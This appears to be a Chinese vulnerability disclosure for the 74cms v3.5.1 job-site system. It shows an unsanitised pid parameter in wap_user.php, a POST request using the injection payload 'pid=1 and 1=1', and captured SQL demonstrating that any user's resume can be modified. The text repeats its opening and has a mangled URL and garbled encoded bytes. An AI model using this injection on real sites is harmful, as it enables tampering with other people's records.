### 简要描述： 骑士人才系统 sql注入+越权修改任何人简历 ### 详细说明： wap_user.php: ``` $setsqlarr['trade_cn']=trim($_POST['trade_cn'])?trim($_POST['trade_cn']):exit("请选择期望行业"); $setsqlarr['district_cn']=trim($_POST['district_cn'])?trim($_POST['district_cn']):exit("请选择期望工作地区"); $setsqlarr['district']=trim($_POST['district']); $setsqlarr['sdistrict']=trim($_POST['sdistrict']); if(!updatetable(table('resume'),$setsqlarr," id=$_POST[pid] "))exit("err"); ``` 主要看到这一句updatetable(table('resume'),$setsqlarr," id=$_POST[pid] " 这里的 id=$_POST[pid] 没有做任何处理，所以可以注入简单的 and 1=1 这里不是主要的 在qs_resume表里面的简历信息的主键id 通过id控制的，也就是说我们提交的$_POST[pid] 可以任意修改任何一条记录 访问url: POST /74cms_v3.5.1_20141015https://images.seebug.org/upload/wap/personal/wap_user.php?act=resume_jobs_save HTTP/1.1 Host: localhost postdata：提交pid=1 and 1=1 抓到sql语句为; UPDATE qs_resume SET `intention_jobs`='\xCF\xFA\xCA\xDB\xD0\xD0\xD5\xFE\xC9\xCC\xCE\xF1/\xCF\xFA\xCA\xDB\xD0\xD0\xD5\xFE\xC8\xCBԱ', `wage`='59', `wage_cn`='3000~5000Ԫ/\xD4\xC2', `nature`='63',...
### 简要描述： 骑士人才系统 sql注入+越权修改任何人简历 ### 详细说明： wap_user.php: ``` $setsqlarr['trade_cn']=trim($_POST['trade_cn'])?trim($_POST['trade_cn']):exit("请选择期望行业"); $setsqlarr['district_cn']=trim($_POST['district_cn'])?trim($_POST['district_cn']):exit("请选择期望工作地区"); $setsqlarr['district']=trim($_POST['district']); $setsqlarr['sdistrict']=trim($_POST['sdistrict']); if(!updatetable(table('resume'),$setsqlarr," id=$_POST[pid] "))exit("err"); ``` 主要看到这一句updatetable(table('resume'),$setsqlarr," id=$_POST[pid] " 这里的 id=$_POST[pid] 没有做任何处理，所以可以注入简单的 and 1=1 这里不是主要的 在qs_resume表里面的简历信息的主键id 通过id控制的，也就是说我们提交的$_POST[pid] 可以任意修改任何一条记录 访问url: POST /74cms_v3.5.1_20141015https://images.seebug.org/upload/wap/personal/wap_user.php?act=resume_jobs_save HTTP/1.1 Host: localhost postdata：提交pid=1 and 1=1 抓到sql语句为; UPDATE qs_resume SET `intention_jobs`='\xCF\xFA\xCA\xDB\xD0\xD0\xD5\xFE\xC9\xCC\xCE\xF1/\xCF\xFA\xCA\xDB\xD0\xD0\xD5\xFE\xC8\xCBԱ', `wage`='59', `wage_cn`='3000~5000Ԫ/\xD4\xC2', `nature`='63', `nature_cn`='\xBC\xE6ְ', `trade`='5', `trade_cn`='\xCD\xF8\xC2\xE7\xD3\xCEϷ', `district_cn`='\xBAӱ\xB1ʡ/\xBA\xAA\xB5\xA6\xCA\xD0', `district`='5', `sdistrict`='133' WHERE id=1 and 1=1 我们可以任意修改信息 ### 漏洞证明：
